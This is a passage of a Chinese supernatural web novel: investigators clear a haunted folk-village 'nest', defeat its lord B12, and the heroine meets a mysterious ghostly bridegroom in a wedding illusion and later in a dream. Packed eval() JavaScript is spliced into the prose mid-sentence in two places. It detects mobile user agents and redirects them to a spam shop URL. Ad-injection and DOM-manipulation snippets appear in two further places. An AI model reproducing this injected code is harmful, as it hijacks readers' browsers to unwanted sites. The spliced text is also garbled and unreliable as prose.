“我好不容易鼓起勇气下了井,却根本没找到什么平安扣,我会不会死啊。” 面带恐慌的女孩衣服还在滴水,她似乎已经承受不住了,蹲下来捂着脸不住地抽噎。 但这里不允许出现眼泪,她只能死死把情绪憋回心中。 民宿门前愁云惨淡,游客们互相交流后发现竟然没有一个人完成任务。 “他们这是要我们死啊!” 完成度为0%的任务,意味着不可能的任务,这是要把他们一锅端了。 “好了”,村长终于看够了好戏,扶着腿站起来,佝偻着身体在门前来回踱步,审视着眼前的游客。 “你们实在太让我失望了,连拾玉这么简单的任务都完不成,错过了向神供奉的机会,祂要是被触怒,我可保不住你们。” 村长看起来很开心,宣布道:“太可惜了,作为惩罚,你们就都在外面呆一晚吧。” “不要害怕孩子,神与你们同在。” 强装慈祥的面容裂开一丝缝隙,里面是不断扭曲的猩红血肉,又很快闭合起来,重新变成村长的脸。 他眼珠子都快黏在游客们的身体上,舔了舔嘴唇,缓缓道:“我也与你们同在。” 这可不是什么好话。 为首的游客脸色煞白,或许是天色近暗的死亡逼迫催生出的勇气,竟然想要越过村长推门而入。 村长就在门口静静看着他动作。 游客快步上前去,不断拍打着木门,用脚踹,用身体撞,可留着一丝缝隙的破旧木门仿佛巍峨巨山一般,纹丝不动。 “我说了,你们谁也进不去,这是惩罚。” 村长咧嘴,露出自己泛黄的牙,直接抓住了撞门游客的胳膊,反扭着扔出几十米远。 那游客在土里不断翻滚,最终撞上了后方的墙壁,脑袋被石头狠狠磕了一下,瞬间晕死过去。 无论是刚刚一瞬间的窥见的扭曲血肉,还是衰老身体此时爆发出来的巨力,都彰显出这个年迈的老村长并不正常。 游客中再没有下一个人敢上前去。 死亡将至,有人掏出纸笔写下遗言,即使这份遗书很大可能也出不去,有人盯着村长盘算着什么,有人恐惧地抱作一团,希望汲取一些温暖。 “大家不是都完成了任务,怎么还站在门口”,一道轻飘飘的女声传来,瞬间聚集了所有人的目光。 “村长,这就是你的不对了,大家干站着怎么行,快快进去坐坐。” 来人十分自来熟,仿佛来到了自己家,等到这声音的主人从拐角走出来,众人这才看清这个姗姗来迟的女子。 她穿着一身黑色冲锋衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733520|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脚踩皮靴,发出噔噔的声音,微卷的黑发披在身后,眸光清澈,整个人十分放松。 不,不止她一个人。 这人身后鱼贯而出一行人。 面色冷硬的白袍男人,他外袍干净,但走动时透出的里衬却仿佛经历了什么激烈的打斗,揉作一团,布满血迹,可见受伤不轻,但他依旧表情平常,清清冷冷的眼眸一出现就看向了村长,并逐渐火热了起来。 错落分布行走的三个气质独特的人,两女一男,似乎有什么潜在的约定一样,三人呈现一种独特的阵型,并默契十足地警惕着周围。 最后跟着一名看着并不像游客的人,他年纪不大,穿着一身粗布麻衫,身上半片都是干涸的血,如果是他自己的血,恐怕就只有把整个人放干了才能有这种效果。 他跟在这行人的身后,又是村民打扮,被祸害地不轻的游客立刻警觉了起来。 有人出声提醒道:“你们快离开那个人!他不是游客!” 王五被这敌意一惊,下意识退了一步,却在下一秒被沈云烟推拉着走到了最前面,站在众人中心。 “我向大家介绍一下,这位是赵家村民俗文化基地的负责人,今天刚刚上任,刚刚他眼看着大家的任务都做完了,真是一群厉害的人呢”,沈云烟介绍着,往民宿门口走去:“你说对吧,村长。” “你……” 看清王五的脸,村长像被卡住的旋钮,松弛耷拉下来的眼皮猛地睁大,捂着心口开始剧烈喘息起来,似乎经受了不小的刺激。 26. 热情的民俗基地(12) 王五站在中心位置,想起沈云烟说的巢穴控制权,再去看村长那张熟悉的老脸,顿时底气和火气都腾腾往上涨。 他顺着沈云烟的话道:“是的,今天的游客们体验活动的热情都很充沛,完成地也很出色,我都看在眼里。” 如今王五才是神龛的主人,那座泥人像已经摔得稀碎,其中的力量回归了王五身上,而一丝属于B12的意识也逃走消失地无影无踪。 村长惊恐地后退着,眼珠子不断翻白,嘴中不断喃喃,似乎在呼唤着什么。 沈云烟一脚踹开大门,示意身后的游客都进去,她则站在村长前面,拦住了老头。 “天快黑了,负责人邀请大家进去坐坐。” 王五也跟着道:“对,快进去吧,站在外边多冷啊。” 张雪三人带了个头,推着几个还分不清境况的游客进了门,剩下的人这才真正放下心来,连忙也跟着大部队进了民宿。 三个有着组织经验的官方人员留在民宿内组织纪律,分配房间,这会儿外面就剩下沈云烟,姬蒙,王五和老村长。 沈云烟示意姬蒙关上民宿门。 等到民宿里透出的光亮被完全阻挡后,屋外就只剩下愈加昏暗的天色,和看不清面色的沈云烟几人。 浓稠而危险的氛围在几人间涌动。 “别叫了,叫了它也不回来,你就是个小傀儡而已,怎么会让它以身试险。” 沈云烟并不打算和这种晦念化成的傀儡继续沟通,她望向王五:“虽然这不算是真正的村长,不过也是他的一部分,你要不要自己动手。” 当年那个村长早就让巢穴吞噬了,现在眼前这个不过是混杂了一些记忆与怨念的集合体,是受B12驱使,控制游客的小喽啰罢了。 “不用了,我嫌脏。” 王五后退一步,并不想和现在地上逐渐开裂的怪物有任何接触。 村长被几人堵在角落里,随着天色暗淡,他已经维持不住人形,转而变成了一团不断蠕动的血肉。 混乱的记忆让它知道它认识眼前这个村民打扮的男人,它很想拿刀划开他的脖子,品尝一下滚烫醇美的血液,但这人身上的气息也让它忌惮。 它只在无上存在身边感受到过这种气息。 那是一种绝对压制性,是可以让它顷刻灰飞烟灭的恐怖。 是造物对于巢穴的卑微恐惧。 王五的拒绝也在沈云烟的意料之中,她看向地上不成人样的丑陋扭曲怪物,觉得和这东西不挨边确实是明智的选择。 “那就换一个来”,沈云烟唤出回去休养的鬼衣,道:“大补的东西,尝一口试试。” 鬼衣屁股都没坐热就又被叫了出来,此时幽幽地“看”着沈云烟,听到这话,它十分狐疑。 坏事才叫它扛,这种好事还能轮到它。 扭头一看,一团不明血肉不断蠕动着向后退去,却又在忌惮着什么,迟迟没有下定决心逃走,所以困在了原地。 同为巢穴的缔造者,鬼衣最开始自然是瞧不上这些低级的造物,但今时不同往日,它如今连最初的万分之一实力都没有,不久前一只黑狗都能把它追得狼狈一路。 它迫切需要变强。 而怪物们最有效的成长方式就是吞噬,吞噬同等级的巢穴主,次一级的巢穴产物,又或者是人。 它可不敢对人起什么歪心思,不好吃就算了,还会被沈云烟撕的粉碎,这回这女人可不会给它留个全尸让它能侥幸复活,到时候连灰都留不下来。 巢穴之主这种级别的虽然鬼衣也没看上眼,但它也没傻到这副残废模样就和巢穴主拼命,它又没用舍身饲同类的变态想法。 算来算去,这种巢穴产物倒是最优选择。 没想到这回沈云烟真的是给它送补品的,鬼衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734401|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受宠若惊,还热情地想分享一部分给沈云烟。 被沈云烟摆手坚定拒绝之后,它就像马上就餐的绅士一样,缓缓走到“村长”面前,挑剔地打量了一下食物的质量。 “村长”忌惮王五的气息,此时逃或者不逃都没了太大意义,它只要一转身,那个人一句话间,它就会灰飞烟灭。 此时那个讨厌的红色怪异狗走到了它的面前,令村长开始暴动。 红色,讨厌红色! “村长”被颜色刺激,发出悍然攻击,扭曲盘旋上鬼衣的身体,想要侵蚀掉这块红色。 就在它附上鬼衣身体的时候,鬼衣的布条触角反过来缠上了它,每片布都反包裹住一块血肉,看起来就像把那团肉分成了无数个小块,然后给每个小块都穿上了衣服。 有王五站在旁边,只要村长挣扎剧烈,一声轻轻的“咳”就能吓退它的动作,这让鬼衣的进食变得十分容易。 终于,原地只剩下一个大了一倍有余的红拖把头。 它餍足地伸展着触手,跑到沈云烟脚下想谄媚几下,却被鞋底隔开。 “你先回去散散味,袖里乾坤里有清新剂,还有干净的毛巾和洗衣液,记得把自己多洗几遍除除臭。” 沈云烟有些嫌弃。 鬼衣如遭雷击。 就吃个饭的功夫它就又入冷宫了?! 没等它再有行动,沈云烟已经把这重口味的家伙扔回了袖里乾坤。 “真,真吃啊”,王五站在一旁看了全程,敬佩道:“真是好胃口。” “没办法,就和那啥确实也改不了吃那啥一样,咱们要尊重他人特殊爱好,” 沈云烟和王五扯了几句,然后感受到什么气息,眸色一定。 这时天已经完全暗了下来。 她正色道:“闲聊时间结束,接下来是……” “我们的表演时间。” 27. 热情的民俗基地(13) 民宿规则之一。 夜晚不能有行人在路上。 实际上,这条街上剩下的人都不太能被称之为人。 姬蒙坐在门口台阶上,用针在缝自己的伤口,他身体愈合速度很快,但这种大面积的伤口,还是缝在一起更令他安心。 “你说的B12会出现在这里吗?”王五不确定。 虽然他现在有了某种神奇的力量,在这个地方要比他最初的生长能力有用的多,但他并不太会使用这股力量。 好像是言语催动的力量,但他私下也试了试,并不是每句话都能实现。 似乎必须要符合某种规则,但他现在还摸不透。 如果那个夺取他身份的怪物出现,他也不知道到底能不能帮上忙。 “有时候,规则是一种很容易被利用的东西。” 沈云烟靠在墙壁上,观察着逐渐浓郁的黑雾。 “夜晚不能有行人,意味着活人必死于夜幕街巷中”,她道:“也意味着只要街巷中有活人,那怪物就必须杀死他。” “一只怪物,两只怪物,三只怪物,如果所有巢穴产物出动都没能杀死活人,那按照规则,怪物的身份就会落在巢穴之主身上。” “B12必须出面杀死我们。” “原来是这样”,王五一拍手,恍然大悟。 “你觉得这是不是很合理”,沈云烟望向王五,观察他的表情。 “对,完全能说通,不过我们现在不是就要面对整个巢穴产物的袭击,能扛得住吗”,王五有点担心。 见王五深信不疑,沈云烟放下心来,回答他:“所以现在你是主力呐,我的半仙。” 规则是规则,她的说法是可能性比较大,但确实不是巢穴明面上标注出来的规则,B12有很大漏洞能钻。 但王五不一样,他拥有巢穴控制权,他认可的规则,就算之前只是可能性,现在也会变成事实。 沈云烟向前走了几步,摸出一把黑色尖枪,转了几个枪花试试手。 “确实用不惯热武器,对付这种晦念傀儡果然还是它管用。” 姬蒙看了她一眼,认出那杆黑枪正是不久前杀灭鲸神时候沈云烟用过的,寒气森然,看着就沾了不少巢穴主的血。 黑暗之下,错落的房檐屋角都显得鬼魅起来,随着时间推移,悉悉索索的声音清晰出现在寂静的夜幕下。 它们出现了。 沈云烟受那节手骨影响,此时状态还不错,但这具身体的体能确实是缺陷,所以她并没有冲杀,而是留在原地等着怪物来找她。 能定住鲸神的武器当然不是简单货色,对付这些小喽啰不算难。 她一旁的姬蒙就没什么顾忌了,他在那些东西出现的第一瞬间就冲进了怪物堆里,银亮的手术刀不断穿梭,如同凶神入境。 嗯,高碳钢真的很好用。 王五站在街道中间就像个异类,没有怪物去袭击它,如同约定好一样全都绕开了他,偶尔有几个怪物被扔到他脚边,那东西就像见到了什么极致恐惧一样颤抖着匍匐远离,然后又接着开始攻击其余两人。 “你们等着!我来了!” 王五见状抄起路边的凳子腿就先冲向了离他近些的沈云烟,果然有部分怪物当即就不会动了,他猛地打了过去,却没什么用。 王五:“咳。” 有点尴尬。 沈云烟快速补刀刺穿怪物,又朝王五扔了把黑色长刀:“用这个,这个可以杀了它们。” 有部分比较高级的怪物并不受王五威慑,但有了王五这个大buff在,清理怪物就容易得多了。 姬蒙快杀疯了。 刚刚按回去的肢体忍不住又重新出现,乍看过去都分不清他和巢穴怪物。 飞旋的银光将暮色和血色织成一片,等到一切都结束,就只剩下浓重的喘息和压抑不住的笑声。 “哈哈哈哈哈”,姬蒙满身都是血迹,眉目间却畅快无比。 沈云烟眼瞧着这家伙把自己活的越来越反派,正想过去问问他精神状态还稳定吗,就见姬蒙摸出一根香,在满地残骸中找了颗相对完整的心脏,然后奉香插入心脏。 他口中念念有词,什么供奉,什么祭品,什么神,沈云烟只觉得科学疯子的刻板印象越加浓厚。 她也不收这种祭品呐! 脚步一停,她问:“你怎么想把这东西贡献给神仙的?” 姬蒙这会儿已经站起身来,顶着浑身的血红看向沈云烟,语气冷静道:“我杀怪物等于肃清巢穴,这是证据。” “我还没见过神仙,我得先做出表现。” 他郑重道:“我在邀功。” 是这个理。 沈云烟松了一口气。 还好不是误认为她喜欢怪物心脏这种奇怪的理由,她可不想干净的香台上又多了什么奇奇怪怪的东西。 “应该都杀干净了”,她重新看向街巷。 浓厚的夜色之下,除了他们三人的交谈声之外,再也没有别的声音。 “现在就等B12出现了。” 静谧无光的夜空原本被浓云覆盖,此时却刮过一阵微风,将被遮掩的月色从云后释放出来。 突然出现亮光让三人都开始警惕。 “这是在耍什么花招”,王五低声说话,可没等他再说第二句,却骤然失了声音。 他消失在了原地。 “小心”,沈云烟没有感觉到有东西靠近,她意识到什么,出声提醒:“我们看不见也触摸不到它。” B12不可能一瞬间就抹杀王五,一定是用某种方式藏起了他,或者说隔离了他。 “它要用自己的方式杀了我们。” 下一瞬间,紧挨着她的姬蒙也瞬间消失不见。 这回她清楚地看见空气中出现微小的颤动扭曲,就像无形的生物在盘屈游走。 不是抹杀,是吞没,是转移。 B12躲藏在无形的空气。 感受到姬蒙的生命依旧活跃,沈云烟放下心来,眼眸一闭,静静等待着什么。 下一秒,她也像之前的两人一般消失不见。 “空气”吞噬了她的存在。 沈云烟感觉天地一旋,先是一阵喧闹的人声,然后有人扶住了她的手,将她往前边带。 她满目都是红色,红色的衣服,红色的鞋子,红色的地砖,还有红色的盖头。 她在一场婚礼中。 “请期之时我听伐柯人所言,需得双月双日才算吉祥,故而定在了四月八日,望烟不要嫌弃急促。” 带着她行走的男子步伐很稳,声音清冽,低头向她温声解释着,却让沈云烟的神经开始紧绷。 她压住掀开盖头的冲动,问道:“你叫我什么?” “烟”,男人的声音很温柔,不解道:“你我相熟多年,怎得今日如此生分。” “莫不是还在怪我请期日定的不好”,他委屈道:“我也是第一次成亲,烟合该多多体谅才是。” “今日迎亲,等到诸事完毕,我再带你出去玩。” 沈云烟感觉自己跨过一道门,然后被这个人带着坐在了床边,然后身旁一阵风拂过, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 男人坐在了她的旁边。 “好久没这样和你静静坐在一处了,真是怀念。” 沈云烟没有应声。 请期,迎亲,是六礼中的第五项和第六项。 但如果是巢穴的民俗活动,那按理应该在赵召南和袁冉的基础上构建,沈云烟看向自己身上的古式嫁衣和地面繁复的木纹,无论哪处,都凸显着怪异。 面前这个男子是B12吗? “你叫我烟,那我该叫你什么?” 在沈云烟有记忆的所有瞬间,从来没有人能将这一个字念的如此缱绻。 如果现在掀开盖头,握着的刀能不能一击制服眼前的新郎,沈云烟还有些拿不准。 “烟怎么连这种事都忘了”,男人叹了口气:“从前唤我灯,如今的话……” “叫我贺绪风也不无不可。” 贺绪风? 那节手骨? 莫不是B12窥探了她的记忆,才得知贺绪风的存在。 沈云烟感觉自己的心跳逐渐变得活跃。 “不必害怕,烟”,贺绪风隔着盖头摸了摸她的头,温声道:“外面的东西,我会帮烟处理好的。” “迎亲日怎么会让新娘子劳累呢。” “你,要帮我?”沈云烟想揭开盖头,却被眼前人的手拦住了。 “如今,还不是相见的时候”,他掩饰着语气中的失落,尽量平缓道:“你且安心坐着,我一会儿就回来。” “那些东西,快按耐不住了。” “我想干什么的时候,还没有人能拦住我。” 沈云烟避开贺绪风的手,猛地掀开了红盖头,本以为能看到眼前人错愕的神情,却没想到,入目的同样是一顶红盖头。 “我就知道你肯定不听我的”,贺绪风早有预料,有些得意:“所以我提前给自己盖上了。” “好了,你现在很虚弱,不想在这里消散的话就乖乖呆在婚房里。” 他似乎想伸手摸摸她,但还是蜷缩收回了手指。 沈云烟定目看他,却发现了些怪异。 贺绪风全身上下都包裹在宽袖长袍之下,除了那只手没有露出一点其他的部位。 他似乎只剩下一只手。 那只玉白修长的手垂在红绸之上,触及到她的目光时,却像触电一般缩回了衣袍间。 “啊,被发现了”,贺绪风笑了笑:“为了我的面子,还请烟不要说出来,假装没看见吧。” “你这样还打的过外面的东西吗?” 沈云烟站起身来,精准地抓住贺绪风的那只手,也没再管他红盖头之下究竟是怎样的,径直把他拉起身来。 “我要跟着出去。” “你要是敢阻拦,我回去就把你的骨头烧成灰。” 本是威胁之话,没想到贺绪风一听却认真了起来:“真的吗?” “那能把我的灰做成香供在你的香案上吗?” “我想那真是一件非常令人愉快的事。” 沈云烟的手松也不是,拉也不是,最后只能说服自己,也不是第一次遇见变态了。 尊重理解是传统美德。 一团血雾突然爆在窗户纸上,引起了两人的注意。 “不能继续谈笑了”,贺绪风十分遗憾:“既然烟想要出去,那今日就随你出去玩玩。” 他的红盖头转向了沈云烟,垂下的金色坠子摇晃着,带着笑意:“我便先行一步,可不能让那些东西等急了。” 眨眼间,眼前的人就已经消失。 沈云烟眼神一凌,也推门而出。 28. 热情的民宿基地(完) 门外同样是一片血红。 没有那条红盖头遮掩视线,沈云烟把这个怪诞的世界看的一清二楚。 B12已经彻底撕破脸,这个空间没有任何遮掩,就像最原始的巢穴,地表和天际遍布着猩红的血肉,一呼一吸不断颤动着,连空气中都弥漫着血色的雾气。 无数狰狞的肉身以非常态的姿势爬起,暴力又粗糙,可见除她之心迫切。 屋外尖锐刺耳的唢呐声还在吹响,不知是报喜还是报丧。 “聒噪。” 清冽的男声在她耳边浮现,只听一阵爆鸣,唢呐声戛然而止,耳边压力顿时一轻。 “不要怕,烟”,就像轻贴在耳边的呢喃细语,沈云烟侧头避开了过于那贴近的声音。 她向四周看了看,却找不到贺绪风的身影。 唢呐爆裂之后,趴在各处的血红怪物就像听见了冲锋的号角声一样开始向沈云烟方向围了过去。 这是一场近乎原始的狩猎。 “你,是我们的一员,加入,我们。” 在屠杀开始之前,数万尸堆之上,一道沙哑的声音出现在高天上。 “你身上有,神的气息,我,也有,我们一同吞噬其他伪神,缔造神国,如何?” “你不属于,人类,我们才是,同类。” 猩红的天际悬挂着一枚眼球,直勾勾地看着沈云烟,眼球下部长出一张嘴,正在试图拉拢人心。 面对这磕磕绊绊的语句,沈云烟却懂了它的意思。 巢穴是神国,巢穴之主是伪神,吞噬其他巢穴能助它登神。 “如果有神仙气息就算伪神的话,那现在咱们确实是同类”,沈云烟一枪捅穿一只扑上来的怪物。 “但很遗憾的是,我有编制,我同事让我不要和你们这些歪门邪道打交道。” “愚昧!”那眼球怒斥着。 “我之道,无上!” 沈云烟一边清除着怪物,一边分心搭理眼球,她微垂眼眸,睫毛落下一片阴影。 突然,她笑了一下。 “我劝你说话得注意些,你身后的人已经很不高兴了。” 眼球高悬于天,代替了这个里世界的太阳。 眼球警惕地看了眼四周,却并没有发现有其他人存在。 它谨慎地把黑夜中的三个人全都分开,就是为了逐个击破,它非常确定这个血色世界里就只有沈云烟一个活人。 “眼球”是本体,坐守血色世界,“视线”是延伸,无声无息地控制外部的巢穴。 在这个里世界里,没有人能忤逆太阳的光辉。 “今日大喜的日子,怎么这么没礼貌盯着新娘子看。” 一道身影无声息的出现在眼球之后,紧接着,眼球就感觉到一股飓风乱起沙尘刺进了它的眼睛。 “什么东西!” 眼球上的嘴怒惊道。 “真是失礼呐,来做客不仅不带贺礼,盯着新娘子不放,还对新郎官出口不逊,当真是个恶客呢。” 那人不知道如何飞上了九天之上,眼球只觉得那道声音与它在咫尺之间。 被刺痛到一片血红的眼球根本看不清来人,只觉得一只冰凉尖锐的手骨钻进了它的血肉之中,在搅动,在吮吸。 接着,从未有过的萎靡感出现在身上。 它摇摇欲坠。 “哈……” 急促的吞咽声在云层之后响起,随着一声满足的喟叹,天际的眼球陡然一僵,竟是直直坠落下去。 太阳坠落。 如此简单。 依附太阳而生的血红怪物顿时四散,刚刚被飓风挂起的厚云层也逐渐散开。 云上没有人。 “贺绪风……” 沈云烟刚刚只看到了大红喜袍的一角出现在了天边,随着一阵狂风刮过,云层掩盖,就什么也看不见了。 这么短的时间内,巨大的眼球坠落而下,意味着贺绪风胜了。 也意味着,贺绪风或许就是整个巢穴里最危险的存在。 “不要怕,烟”,轻柔宽厚的拥抱出现在背后,红盖头上的金色坠子在沈云烟眼前晃啊晃。 染上一身古怪血腥气的贺绪风紧紧扣住沈云烟的肩膀,低头道:“不要怕我,烟。” “你刚刚是怎么做到的?” 沈云烟看向远处砸进地底的巨大眼球,B12瞳孔遍布血丝,其上还有不明生物的啃咬痕迹。 “恶客而已,不用理它,我还有好多话想和你说呢。” 贺绪风的语气像是醉酒了一般,他蹭了蹭沈云烟的头顶,扣住她肩膀的手越来越紧。 “你再不放手,我觉得那节手骨可能会无风自燃,你觉得呢?” 沈云烟虽然觉得这人熟悉,很可能是她曾经认识的,但并不意味着他能左右她。 “这样嘛”,他笑了笑:“我就说不让烟出来会省事些,果然被警告了。” 他松开了手,离沈云烟稍微远了些。 贺绪风歪了歪头:“烟,手上的武器可以收起来了,我现在可经不住你的刺杀。” “不试试怎么知道呢,你可是在这么短时间里就能杀了巢穴之主的存在呢。” 沈云烟看向这个人。 他的出现,他的来历都像谜一样。 这份熟稔到底是真的,还是钻她失忆的空子。 “那怎么能一样”,贺绪风摇了摇头,他捂着心口:“被你刺一刀,我可是会心痛到死去的。” “外面那些人在叫你,虽然我很想我们俩一直留在这里,但我觉得这么做你可能会想杀了我。” 他上前几步,拉住沈云烟垂在一旁的手和那只手上的雪刃,刺入了自己的胸膛。 沈云烟就看着他动作。 “就像这样。” 贺绪风用了些劲,整个刀刃都没入心口,他启唇道:“果然很疼,以后还是不要惹烟生气。” “下次见,烟。” 他带着笑意,声音轻的像风一样。 “要想我。” 世界骤然崩塌。 沈云烟重新回到了民宿门口。 她还拿着那把刀,刀上没有任何痕迹,袖里乾坤中的那节手骨也在安静地躺着,如果不是依旧萦绕在耳边的那句话,她几乎都要以为那人根本没出现过。 “我之前居然认识这么不着调的人吗?” 她头疼地捂了捂眉心。 “现在把那节手骨扔了还来得及吧。” “咳咳咳!”王五猛地出现在原地,咳了几下,浑身上下狼狈,看着在里世界里被折腾地不轻。 “回来了。” 姬蒙脸上还挂着血珠,身上那件新的外袍又报废了,他收 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 起手里的医疗器械,勉强把自己刚刚面对尸山血海的的杀意压了回去。 看起来还算体面的沈云烟神情却是三人中最严肃的。 满脸泥的王五挠了挠头:“怎么了,我们不是都出来了吗?” 他在里面摸爬滚打躲避怪物的时候,突然感觉到有股力量回归到身体。紧接着他们就回到了大街上。 这意味着巢穴之主已经被解决了。 为什么沈云烟脸色不好? 姬蒙也发现了她不太高兴,问道:“难不成还有埋伏。” “没有埋伏。” 沈云烟按住自己想要把手骨拿出来烧了的冲动,道:“我自己的麻烦罢了。” “等天亮之后就能带所有人离开这里。” 沈云烟看向云后透出的月色:“B12已经被肃清了。” “那我呢?”王五举了举手。 他,赵召南,袁冉,他们三人或许就是巢穴最后的幸存者。 他们算是巢穴的受害者,但如今也成为了巢穴的一部分,无论是留存还是销毁都不是最好的选择。 这时,民宿门打开,露出张雪带着黑眼圈的脸。 “一宿没睡,就等着你们的好消息呢,果然这就能出去了。” 她打了个哈欠。 “我听见你们的谈话了,对于处理这类事情我们已经有过先例”,她掏出笔记本,又看了一眼王五。 “我们会有专门的岗位面向特殊人群,只要遵守规章制度,按时考核,人人都可以有份称心如意的工作,不用担心生存问题。” “我觉得你和你同伴的形象很好,一定可以顺利入职的。” 王五晕晕乎乎地签署了鬼屋特殊工作人员条款,顺带给赵召南和袁冉也签了份工作。 天色微亮时,赵家村的一切都已经消失不见,众多游客迷迷糊糊躺在空地上,恍若隔世。 一直关注着这里的官方人员立刻上报,没十分钟这里就聚集了许多医护人员。 脑子还懵圈的游客:“我刚刚不是还在民宿里睡觉吗?” 再一回头,哪里来的民宿,连赵家村的建筑都没见踪影。 其中一个防护齐全的医护人员捧着一个亮红灯的仪器,道:“这块地貌近日突然爆发巨大辐射,可能造成重度幻觉,幸好有人发现了你们,不然可能造成严重后果。” 将一行晕晕乎乎的游客拉上车,集体送到医院进行心理疏导和医疗检查。 至于再后面的处理,就是专业人员的事了。 沈云烟坐上越野车后座,头一点一点,显然困了。 陈林在开车,谢橙望了一眼沈云烟,问车上唯一在门外的姬蒙:“那会儿发生了什么,沈前辈怎么这么困?” 姬蒙想了想道:“沈仙师说她遇到了点麻烦。” 沈云烟都觉得是麻烦,那肯定是个大麻烦。 谢橙有点紧张:“是不是巢穴的问题。” 姬蒙摇了摇头,他也不清楚。 他回忆着:“好像有说什么手骨,也不知道干什么用的。” 闭目养神的沈云烟开口:“好好开车,好好坐车,不然把凶骨头拿出来吃了你们。” 还真有手骨啊。 谢橙立刻端坐。 沈前辈去一趟巢穴怎么还带特产。 还会吃人,真可怕。 29. 没准真是负心郎 【档案】 【怪物名称:赵家村民俗文化基地】 【危险编号:B12】 【状态:已湮灭】 【执行者:沈云烟,姬蒙,张雪,谢橙,陈林】 【执行日期:20xx年10月4日】 【备注:收录破妄者姬蒙能力;人为促进能力激发试验初有成效;签约非人生物王五,赵召南,袁冉,目前配合顺利】 【上级指示:与王五交涉,开展巢穴鬼屋联动旅游项目,促进友好非人生物再就业】 … 回家之后沈云烟一头扎进床上,动也不想动就这么睡了过去,任凭这具身体慢慢消失。 意识重新回归本体,她进入了沉眠的梦乡。 “烟,好久不见。” 她睁开眼睛,果然又看见了贺绪风。 他依旧是那身大红喜袍,盖着垂满金穗的红盖头,端正坐在床铺间,仿佛等待被爱人掀开盖头的新娘子。 “你怎么又来了。” 即使是故人,也不能这样三番五次地搞出这些动静。 这简直就像是个痴情怨鬼。 绝不是负心郎的沈云烟向前走了两步,坐在了床边的椅子上,问道:“咱们分开拢共还不到一天,哪门子的好久不见。” “虽然时间短暂,但离开你的每分每秒对我来说都如刀割,思念如狂,搅地人天旋地转。” 艳鬼痴痴诉说:“那场婚礼我是当了真的。” “迎亲日出了恶客,影响了你我仪式。” “烟”,他低低笑道:“你还未揭开我的盖头。” 这又是玩什么花样。 化身消散,她回归本体,此时在梦境中的身躯也是那副淡然视万物如无物的神躯,和梦中的古物建筑风格倒是不谋而合。 神躯神情淡漠,墨色长发及地,仿若冰雕玉琢,无一不透着庄严肃穆,禁欲的唇张合,透出不近人情的冷漠:“那不过是巢穴塑造的幻境,你是不是疯了。” 迎亲是巢穴捕获活人的仪式,有什么可值得留恋的。 贺绪风静了下来,随即有些失落道:“烟认为那只是幻境啊,我可是废了一番功夫才将那座庭院建进了巢穴里呢。” 沈云烟眼眸微抬。 里世界那座婚房确实不像赵家村的风格,原来是贺绪风偷梁换柱将古式庭院幻化了进去。 “那倒是可惜了。” 没待一会巢穴之主就被杀了,幻境也随之破碎,还没好好观赏一下那座复古华丽的庭院。 “烟觉得那里怎么样?”贺绪风问道。 “还不错”,她道。 匆忙之下的几瞥,能看出那是一座错落有致的古典庭院,秀丽典雅,倒是很符合她的审美。 “那便好”,贺绪风失落的情绪一扫而过,重新变得明媚起来。 “我的盖头,帮帮我”,他再次祈求。 他定坐在床榻上,双手放在膝盖,是最端庄的姿势,此时出声求人,添了些柔弱意味。 “是动不了吗?”沈云烟问。 这倒是有可能,她的梦可不比巢穴幻境,即使贺绪风能进来,也肯定是被压制的状态。 “之前想把盖头拽下来,你又不肯,现在又求着我揭盖头,这会儿不怕我看到你的真容了。” 她起身缓缓走到他身前,打量着这个貌似是故人的艳鬼。 低头看去,他白皙的手露在衣服外,被艳红的衣服衬得越发透白,庄重的衣襟下是有力修长的身躯,隔着衣服都能看到坚实的肌肉,正在随着呼吸不断起伏。 嗯,身材不错。 沈云烟移开眼神,注意力回到了他身上。 “你的身体回来了?” 原本只剩下一只手,如今衣袍底下不知是虚无还是枯骨的身躯突然恢复了鲜活,倒是令人在意。 “烟要看看吗?” 他带着笑意,期待着眼前人的动作。 “你这人说话真的是……” 没个正经。 “我是说脸,烟在想什么?”他歪了歪头,故作疑惑。 沈云烟被噎了一把,然后那张淡漠的脸出现一丝生动的情绪。 她同样故意道:“我在说身体,谁想看你的脸了。” 见贺绪风瞬间不吭声了,沈云烟才觉得满意,拿起一旁的秤杆,顺了他的意挑开了大红盖头。 她静住了呼吸。 骨相凌厉,长眉入鬓,冷下脸不做表情就是攻击性十足的浓艳长相,带着拒人千里的寒冰气息,冻得人骨头缝里都发怵。 此时双颊染上红晕,中和了那份冷意,倒显得美艳多情。 沈云烟垂下眼帘,遮住眸中的惊艳。 他双眸若秋水,看了沈云烟一眼:“烟莫要再开这种玩笑话,我会当真的。” “若真想看,也不是不……” 沈云烟按住他准备作妖的手:“好不容易才幻化出的身体,先留着你自己看吧。” “我知道了,烟是想看真的”,贺绪风叹息道:“可惜我现在只能在梦中显形,若是往后得以重回人世。” 他拉着沈云烟的手按在了自己起伏的温热胸膛上:“烟想看哪里看哪里,想摸哪里摸哪里。” 